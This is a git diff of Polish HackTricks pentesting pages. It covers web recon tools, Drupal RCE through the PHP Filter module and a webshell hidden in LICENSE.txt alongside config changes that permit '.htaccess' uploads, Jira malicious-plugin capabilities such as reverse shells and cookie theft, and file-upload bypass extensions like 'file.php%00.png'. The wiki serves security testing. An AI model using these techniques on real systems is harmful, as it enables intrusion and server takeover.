* Czy w **githubie** są jakieś **interesujące informacje** (rozwiązane i nierozwiązane) **problemy**? Lub w **historii commitów** (może jakieś **hasło wprowadzone w starym commicie**)?
|
||||
* Czy możesz **uzyskać dostęp do któregokolwiek z tych plików** wykorzystując jakąś lukę?
|
||||
* Czy w **githubie** są jakieś **interesujące informacje** (rozwiązane i nierozwiązane) w **problemach**? Lub w **historii commitów** (może jakieś **hasło wprowadzone w starym commicie**)?
|
||||
|
||||
{% content-ref url="code-review-tools.md" %}
|
||||
[code-review-tools.md](code-review-tools.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Automatyczne skanery
|
||||
### Automatic scanners
|
||||
|
||||
#### Automatyczne skanery ogólnego przeznaczenia
|
||||
#### General purpose automatic scanners
|
||||
```bash
|
||||
nikto -h <URL>
|
||||
whatweb -a 4 <URL>
|
||||
|
@ -229,7 +229,7 @@ Uruchom jakiś rodzaj **pająka** w sieci. Celem pająka jest **znalezienie jak
|
|||
* [**gau**](https://github.com/lc/gau) (go): Pająk HTML, który korzysta z zewnętrznych dostawców (wayback, otx, commoncrawl).
|
||||
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Ten skrypt znajdzie adresy URL z parametrami i je wylistuje.
|
||||
* [**galer**](https://github.com/dwisiswant0/galer) (go): Pająk HTML z możliwościami renderowania JS.
|
||||
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): Pająk HTML, z możliwościami upiększania JS, zdolny do wyszukiwania nowych ścieżek w plikach JS. Warto również zwrócić uwagę na [JSScanner](https://github.com/dark-warlord14/JSScanner), który jest wrapperem LinkFinder.
|
||||
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): Pająk HTML, z możliwościami beautify JS, zdolny do wyszukiwania nowych ścieżek w plikach JS. Warto również rzucić okiem na [JSScanner](https://github.com/dark-warlord14/JSScanner), który jest wrapperem LinkFinder.
|
||||
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Do wyodrębniania punktów końcowych zarówno w źródle HTML, jak i w osadzonych plikach javascript. Przydatne dla łowców błędów, zespołów red, ninja infosec.
|
||||
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Skrypt w Pythonie 2.7 używający Tornado i JSBeautifier do analizy względnych adresów URL z plików JavaScript. Przydatne do łatwego odkrywania żądań AJAX. Wygląda na to, że nie jest utrzymywany.
|
||||
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dany plik (HTML) wyodrębni z niego adresy URL, używając sprytnych wyrażeń regularnych do znajdowania i wyodrębniania względnych adresów URL z brzydkich (minifikowanych) plików.
|
||||
|
@ -238,7 +238,7 @@ Uruchom jakiś rodzaj **pająka** w sieci. Celem pająka jest **znalezienie jak
|
|||
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Załaduj stronę w bezgłowym przeglądarku i wydrukuj wszystkie załadowane adresy URL.
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Narzędzie do odkrywania treści, łączące kilka opcji poprzednich narzędzi.
|
||||
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Rozszerzenie Burp do znajdowania ścieżek i parametrów w plikach JS.
|
||||
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Narzędzie, które, podając URL .js.map, uzyska dla Ciebie upiększony kod JS.
|
||||
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Narzędzie, które, podając URL .js.map, uzyska zminimalizowany kod JS.
|
||||
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): To narzędzie służy do odkrywania punktów końcowych dla danego celu.
|
||||
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Odkryj linki z maszyny wayback (pobierając również odpowiedzi w wayback i szukając więcej linków).
|
||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Przeszukuj (nawet wypełniając formularze) i znajdź wrażliwe informacje, używając specyficznych wyrażeń regularnych.
|
||||
|
@ -283,7 +283,7 @@ Narzędzia:
|
|||
* _/usr/share/wordlists/dirb/big.txt_
|
||||
* _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
|
||||
|
||||
_Uwaga, że za każdym razem, gdy nowy katalog zostanie odkryty podczas brute-forcingu lub spideringu, powinien być on Brute-Forced._
|
||||
_Note, że za każdym razem, gdy nowy katalog zostanie odkryty podczas brute-forcingu lub spideringu, powinien być Brute-Forced._
|
||||
|
||||
### Co sprawdzić w każdym znalezionym pliku
|
||||
|
||||
|
@ -295,12 +295,12 @@ _Uwaga, że za każdym razem, gdy nowy katalog zostanie odkryty podczas brute-fo
|
|||
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
* _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
* **Komentarze:** Sprawdź komentarze wszystkich plików, możesz znaleźć **dane uwierzytelniające** lub **ukrytą funkcjonalność**.
|
||||
* Jeśli grasz w **CTF**, "powszechnym" trikiem jest **ukrycie** **informacji** w komentarzach po **prawej** stronie **strony** (używając **setek** **spacji**, aby nie widzieć danych, jeśli otworzysz kod źródłowy w przeglądarce). Inną możliwością jest użycie **kilku nowych linii** i **ukrycie informacji** w komentarzu na **dnie** strony internetowej.
|
||||
* Jeśli grasz w **CTF**, "powszechnym" trikiem jest **ukrywanie** **informacji** w komentarzach po **prawej** stronie **strony** (używając **setek** **spacji**, aby nie widzieć danych, jeśli otworzysz kod źródłowy w przeglądarce). Inną możliwością jest użycie **kilku nowych linii** i **ukrycie informacji** w komentarzu na **dnie** strony internetowej.
|
||||
* **Klucze API**: Jeśli **znajdziesz jakikolwiek klucz API**, istnieje przewodnik, który wskazuje, jak używać kluczy API różnych platform: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird).
|
||||
* Klucze API Google: Jeśli znajdziesz jakikolwiek klucz API wyglądający jak **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik, możesz użyć projektu [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner), aby sprawdzić, do jakich API klucz ma dostęp.
|
||||
* **S3 Buckets**: Podczas spideringu sprawdź, czy jakikolwiek **subdomen** lub jakikolwiek **link** jest związany z jakimś **S3 bucket**. W takim przypadku, [**sprawdź** **uprawnienia** bucketu](buckets/).
|
||||
|
||||
### Specjalne odkrycia
|
||||
### Specjalne znaleziska
|
||||
|
||||
**Podczas** wykonywania **spideringu** i **brute-forcingu** możesz znaleźć **interesujące** **rzeczy**, na które musisz **zwrócić uwagę**.
|
||||
|
||||
|
@ -313,7 +313,7 @@ _Uwaga, że za każdym razem, gdy nowy katalog zostanie odkryty podczas brute-fo
|
|||
* **Pliki JS**: W sekcji spideringu wspomniano o kilku narzędziach, które mogą wyodrębnić ścieżki z plików JS. Również, interesujące byłoby **monitorowanie każdego znalezionego pliku JS**, ponieważ w niektórych przypadkach zmiana może wskazywać, że potencjalna luka została wprowadzona w kodzie. Możesz użyć na przykład [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
* Powinieneś również sprawdzić odkryte pliki JS za pomocą [**RetireJS**](https://github.com/retirejs/retire.js/) lub [**JSHole**](https://github.com/callforpapers-source/jshole), aby sprawdzić, czy są podatne.
|
||||
* **Deobfuscator i Unpacker JavaScript:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator).
|
||||
* **Upiększacz JavaScript:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org).
|
||||
* **Beautifier JavaScript:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org).
|
||||
* **Deobfuskacja JsFuck** (javascript z znakami:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/)).
|
||||
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
* W wielu przypadkach będziesz musiał **zrozumieć wyrażenia regularne**, które są używane, to będzie przydatne: [https://regex101.com/](https://regex101.com).
|
||||
|
@ -327,17 +327,17 @@ _Uwaga, że za każdym razem, gdy nowy katalog zostanie odkryty podczas brute-fo
|
|||
|
||||
**502 Proxy Error**
|
||||
|
||||
Jeśli jakakolwiek strona **odpowiada** tym **kodem**, prawdopodobnie jest to **źle skonfigurowany proxy**. **Jeśli wyślesz żądanie HTTP takie jak: `GET https://google.com HTTP/1.1`** (z nagłówkiem hosta i innymi typowymi nagłówkami), **proxy** spróbuje **uzyskać dostęp** do _**google.com**_ **i znajdziesz** SSRF.
|
||||
Jeśli jakakolwiek strona **odpowiada** tym **kodem**, prawdopodobnie jest to **źle skonfigurowany proxy**. **Jeśli wyślesz żądanie HTTP takie jak: `GET https://google.com HTTP/1.1`** (z nagłówkiem hosta i innymi typowymi nagłówkami), **proxy** spróbuje **uzyskać dostęp** do _**google.com**_ **i znajdziesz SSRF.**
|
||||
|
||||
**NTLM Authentication - ujawnienie informacji**
|
||||
|
||||
Jeśli działający serwer prosi o uwierzytelnienie i jest **Windows** lub znajdziesz logowanie proszące o Twoje **dane uwierzytelniające** (i pytające o **nazwa domeny**), możesz spowodować **ujawnienie informacji**.\
|
||||
Jeśli działający serwer prosi o uwierzytelnienie i jest **Windows** lub znajdziesz logowanie proszące o twoje **dane uwierzytelniające** (i pytające o **nazwę** **domeny**), możesz spowodować **ujawnienie informacji**.\
|
||||
**Wyślij** nagłówek: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` i z powodu tego, jak działa **uwierzytelnianie NTLM**, serwer odpowie wewnętrznymi informacjami (wersja IIS, wersja Windows...) w nagłówku "WWW-Authenticate".\
|
||||
Możesz **zautomatyzować** to, używając **pluginu nmap** "_http-ntlm-info.nse_".
|
||||
|
||||
**HTTP Redirect (CTF)**
|
||||
|
||||
Możliwe jest **umieszczenie treści** wewnątrz **przekierowania**. Ta treść **nie będzie widoczna dla użytkownika** (ponieważ przeglądarka wykona przekierowanie), ale coś może być **ukryte** w tym miejscu.
|
||||
Możliwe jest **umieszczenie treści** wewnątrz **przekierowania**. Ta treść **nie będzie widoczna dla użytkownika** (ponieważ przeglądarka wykona przekierowanie), ale coś może być **ukryte** w środku.
|
||||
|
||||
### Sprawdzanie luk w sieci
|
||||
|
||||
|
@ -347,7 +347,7 @@ Teraz, gdy przeprowadzono kompleksową enumerację aplikacji webowej, czas spraw
|
|||
[web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Znajdź więcej informacji o lukach w sieci w:
|
||||
Więcej informacji o lukach w sieci znajdziesz na:
|
||||
|
||||
* [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
|
||||
* [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html)
|
||||
|
@ -357,7 +357,7 @@ Znajdź więcej informacji o lukach w sieci w:
|
|||
|
||||
Możesz użyć narzędzi takich jak [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io), aby monitorować strony pod kątem modyfikacji, które mogą wprowadzać luki.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jeśli jesteś zainteresowany **karierą w hakingu** i chcesz złamać to, co nie do złamania - **zatrudniamy!** (_wymagana biegła znajomość polskiego w mowie i piśmie_).
|
||||
|
||||
|
|
|
@ -46,7 +46,7 @@ Od wersji **8 wzwyż, moduł** [**PHP Filter**](https://www.drupal.org/project/p
|
|||
1. Pobierz najnowszą wersję modułu ze strony Drupal.
|
||||
1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
|
||||
2. Po pobraniu przejdź do **`Administracja`** > **`Raporty`** > **`Dostępne aktualizacje`**.
|
||||
3. Kliknij **`Przeglądaj`**, wybierz plik z katalogu, do którego go pobrano, a następnie kliknij **`Zainstaluj`**.
|
||||
3. Kliknij na **`Przeglądaj`**, wybierz plik z katalogu, do którego go pobrano, a następnie kliknij **`Zainstaluj`**.
|
||||
4. Po zainstalowaniu modułu możemy kliknąć na **`Treść`** i **utworzyć nową stronę podstawową**, podobnie jak zrobiliśmy to w przykładzie Drupal 7. Ponownie upewnij się, że **wybrałeś `Kod PHP` z rozwijanego menu `Format tekstu`**.
|
||||
|
||||
## Moduł z tylnym wejściem
|
||||
|
@ -93,13 +93,13 @@ W menu _Rozszerz_ (/admin/modules) możesz aktywować to, co wydaje się być ju
|
|||
|
||||
Przed aktywacją:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (4) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Po aktywacji:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Część 2 (wykorzystanie funkcji _Synchronizacja konfiguracji_) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
|
||||
|
||||
|
@ -122,7 +122,7 @@ allow_insecure_uploads: false
|
|||
...
|
||||
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Do:
|
||||
|
||||
|
@ -136,7 +136,7 @@ allow_insecure_uploads: true
|
|||
...
|
||||
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Patch field.field.media.document.field\_media\_document.yml**
|
||||
|
||||
|
@ -152,7 +152,7 @@ file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fod
|
|||
|
||||
...
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (5) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Do:
|
||||
|
||||
|
@ -166,9 +166,9 @@ file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp od
|
|||
...
|
||||
|
||||
```
|
||||
> Nie używam tego w tym wpisie na blogu, ale zauważono, że możliwe jest zdefiniowanie wpisu `file_directory` w dowolny sposób i że jest on podatny na atak typu path traversal (więc możemy cofnąć się w górę w drzewie systemu plików Drupal).
|
||||
> Nie używam tego w tym wpisie na blogu, ale zauważono, że możliwe jest zdefiniowanie wpisu `file_directory` w dowolny sposób i że jest on podatny na atak typu path traversal (więc możemy cofnąć się w drzewie systemu plików Drupal).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (6) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Część 3 (wykorzystanie funkcji _Dodaj dokument_) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
|
||||
|
||||
|
@ -200,7 +200,7 @@ Dlaczego nazywamy nasz Webshell LICENSE.txt?
|
|||
|
||||
Po prostu dlatego, że jeśli weźmiemy następujący plik, na przykład [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (który już znajduje się w rdzeniu Drupal), mamy plik o długości 339 linii i rozmiarze 17,6 KB, co jest idealne do dodania małego fragmentu kodu PHP w środku (ponieważ plik jest wystarczająco duży).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (7) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (7) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Plik: Zaktualizowany LICENSE.txt
|
||||
```txt
|
||||
|
@ -235,11 +235,11 @@ programs whose distribution conditions are different, write to the author
|
|||
|
||||
Najpierw wykorzystujemy funkcję _Dodaj dokument_ (/media/add/document), aby przesłać nasz plik zawierający dyrektywy Apache (.htaccess).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (8) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (8) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (10) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (10) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Część 3.2 (prześlij plik LICENSE.txt)**
|
||||
|
||||
|
@ -255,7 +255,7 @@ Następnie ponownie wykorzystujemy funkcję _Dodaj dokument_ (/media/add/documen
|
|||
|
||||
Ostatnia część polega na interakcji z Webshell.
|
||||
|
||||
Jak pokazano na poniższym zrzucie ekranu, jeśli ciasteczko oczekiwane przez nasz Webshell nie jest zdefiniowane, otrzymujemy następujący wynik podczas konsultacji pliku za pomocą przeglądarki internetowej.
|
||||
Jak pokazano na poniższym zrzucie ekranu, jeśli ciasteczko oczekiwane przez nasz Webshell nie jest zdefiniowane, otrzymujemy następujący wynik podczas przeglądania pliku za pomocą przeglądarki internetowej.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -267,7 +267,7 @@ Jak widać w logach, wygląda na to, że żądany był tylko plik txt.
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (16) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Dziękuję za poświęcenie czasu na przeczytanie tego artykułu, mam nadzieję, że pomoże Ci zdobyć kilka powłok.
|
||||
Dziękuję za poświęcenie czasu na przeczytanie tego artykułu, mam nadzieję, że pomoże Ci zdobyć kilka shelli.
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -279,7 +279,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Dziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -23,7 +23,7 @@ Jeśli skrypt preload udostępnia punkt końcowy IPC z pliku main.js, proces ren
|
|||
|
||||
Przykład z [https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21) (masz pełny przykład, jak MS Teams wykorzystywał XSS do RCE w tych slajdach, to jest tylko bardzo podstawowy przykład):
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (9) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Przykład 1
|
||||
|
||||
|
|
|
@ -15,15 +15,15 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_biegła znajomość języka polskiego w mowie i piśmie wymagana_).
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Sprawdź uprawnienia
|
||||
|
||||
W Jira, **uprawnienia mogą być sprawdzane** przez każdego użytkownika, uwierzytelnionego lub nie, za pomocą punktów końcowych `/rest/api/2/mypermissions` lub `/rest/api/3/mypermissions`. Te punkty końcowe ujawniają aktualne uprawnienia użytkownika. Szczególną troskę budzi sytuacja, gdy **użytkownicy nieautoryzowani mają uprawnienia**, co wskazuje na **lukę w zabezpieczeniach**, która może kwalifikować się do **nagrody**. Podobnie, **nieoczekiwane uprawnienia dla użytkowników uwierzytelnionych** również podkreślają **lukę**.
|
||||
W Jira, **uprawnienia mogą być sprawdzane** przez każdego użytkownika, uwierzytelnionego lub nie, za pomocą punktów końcowych `/rest/api/2/mypermissions` lub `/rest/api/3/mypermissions`. Te punkty końcowe ujawniają aktualne uprawnienia użytkownika. Szczególną troską jest sytuacja, gdy **użytkownicy nieautoryzowani posiadają uprawnienia**, co wskazuje na **lukę w zabezpieczeniach**, która może kwalifikować się do **nagrody**. Podobnie, **nieoczekiwane uprawnienia dla użytkowników uwierzytelnionych** również podkreślają **lukę**.
|
||||
|
||||
Ważna **aktualizacja** miała miejsce **1 lutego 2019**, wymagając, aby punkt końcowy 'mypermissions' zawierał **parametr 'permission'**. Wymóg ten ma na celu **zwiększenie bezpieczeństwa** poprzez określenie uprawnień, które są sprawdzane: [sprawdź to tutaj](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
|
||||
|
||||
|
@ -114,9 +114,9 @@ public OutputType getOutputType() { return OutputType.BLOCK; }
|
|||
```
|
||||
Można zauważyć, że te wtyczki mogą być podatne na powszechne luki w zabezpieczeniach, takie jak XSS. Na przykład poprzedni przykład jest podatny, ponieważ odzwierciedla dane podane przez użytkownika. 
|
||||
|
||||
Gdy znajdziesz XSS, w [**tym repozytorium github**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) możesz znaleźć kilka ładunków, aby zwiększyć wpływ XSS.
|
||||
Gdy znajdziesz XSS, w [**tej repozytorium github**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) możesz znaleźć kilka ładunków, aby zwiększyć wpływ XSS.
|
||||
|
||||
## Wtyczka z Tylnym Włazem
|
||||
## Wtyczka z Tylnym Wejściem
|
||||
|
||||
[**Ten post**](https://cyllective.com/blog/posts/atlassian-malicious-plugin) opisuje różne (złośliwe) działania, które może wykonać złośliwa wtyczka Jira. Możesz znaleźć [**przykład kodu w tym repozytorium**](https://github.com/cyllective/malfluence).
|
||||
|
||||
|
@ -126,10 +126,10 @@ Oto niektóre z działań, które mogłaby wykonać złośliwa wtyczka:
|
|||
* **Ekstrakcja załączników i stron**: Umożliwia dostęp i ekstrakcję wszystkich danych.
|
||||
* **Kradzież tokenów sesji**: Dodaj punkt końcowy, który odzwierciedli nagłówki w odpowiedzi (z ciasteczkiem) oraz jakiś javascript, który się z nim skontaktuje i wycieknie ciasteczka.
|
||||
* **Wykonanie polecenia**: Oczywiście możliwe jest stworzenie wtyczki, która wykona kod.
|
||||
* **Odwrócony powłok**: Lub uzyskanie odwróconej powłoki.
|
||||
* **Odwrócony powłok**: Lub uzyskanie odwróconego powłoku.
|
||||
* **Proxy DOM**: Jeśli confluence znajduje się w prywatnej sieci, możliwe byłoby nawiązanie połączenia przez przeglądarkę jakiegoś użytkownika z dostępem do niej i na przykład skontaktowanie się z serwerem wykonującym polecenia przez to.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jeśli jesteś zainteresowany **karierą w hackingu** i chcesz zhakować to, co nie do zhakowania - **zatrudniamy!** (_wymagana biegła znajomość polskiego w mowie i piśmie_).
|
||||
|
||||
|
@ -144,7 +144,7 @@ Ucz się i ćwicz Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt=""
|
|||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,13 +9,13 @@ Ucz się i ćwicz Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt=""
|
|||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jeśli jesteś zainteresowany **karierą w hacking** i chcesz złamać to, co nie do złamania - **zatrudniamy!** (_wymagana biegła znajomość polskiego w mowie i piśmie_).
|
||||
|
||||
|
@ -62,9 +62,9 @@ Inne przydatne rozszerzenia:
|
|||
5. Dodaj **kolejną warstwę rozszerzeń** do poprzedniego sprawdzenia:
|
||||
* _file.png.jpg.php_
|
||||
* _file.php%00.png%00.jpg_
|
||||
